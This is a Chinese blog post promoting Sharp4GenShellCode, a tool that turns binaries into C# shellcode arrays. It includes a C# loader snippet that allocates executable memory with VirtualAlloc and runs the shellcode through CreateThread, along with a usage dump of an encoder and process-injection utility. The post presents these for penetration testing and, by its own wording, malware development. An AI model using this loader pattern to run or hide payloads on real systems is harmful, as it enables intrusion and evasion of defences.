.NET 一款二进制文件转换Shellcode的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4GenShellCode.exe 是一个用于将二进制文件(如 loader.bin)转换为 Shellcode 的工具。在渗透测试和红队操作中,Shellcode 经常被用作攻击载体,用于在目标系统上实现远程代码执行或提权等目的。

图片

03使用方法

Sharp4GenShellCode使用非常简单,工具的基本用法如下所示。

Sharp4GenShellCode.exe "D:\\test\\loader.bin" 1.txt

在上述命令中D:\\test\\loader.bin" 是要转换的二进制文件路径,1.txt 是保存转换后的 Shellcode 的输出文件,如下图所示。

图片

执行完该命令后,工具会将二进制文件 loader.bin 转换成一个标准的 Shellcode 格式并将其保存在 1.txt 文件中,转换后的内容类似如下所示。

byte[] buf = new byte[35285] {
    0xE8,0xC0,0x27,0x00,0x00,0xC0,0x27,0x00,0x00,0x9C,0xB9,0x42,0xFE,0x47,0xF4,
    0x57,0xBF,0x50,0xBE,0x1B,0x53,0xF2,0xFA,0x79,0x41,0x7A,0xF6,0x9D,0x1F,0xB2,
    0x37,0xF7,0xEA,0xBD,0x57,0xFA,0x6D,0x70,0xA8,0x6B,0xEF,0x00,0x00,0x00,0x00,
    ...
};

生成的 Shellcode 可以被直接嵌入到代码中,例如在.NET环境中,可以通过 P/Invoke 结合 Windows API 函数(如 VirtualAlloc 和 CreateThread)将 Shellcode 写入内存并执行。

byte[] buf = new byte[35285] {
    0xE8, 0xC0, 0x27, 0x00, 0x00, 0xC0, 0x27, 0x00, 0x00, 0x9C, 0xB9, 0x42, 0xFE, 0x47, 0xF4,
    ...
};
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000 /* MEM_COMMIT */, 0x40 /* PAGE_EXECUTE_READWRITE */);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);

图片

综上,Sharp4GenShellCode 是一个非常实用的工具,它能够将任意的二进制文件转换为 Shellcode,方便在渗透测试、漏洞利用或恶意软件开发中使用。

05.NET安全知识库

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值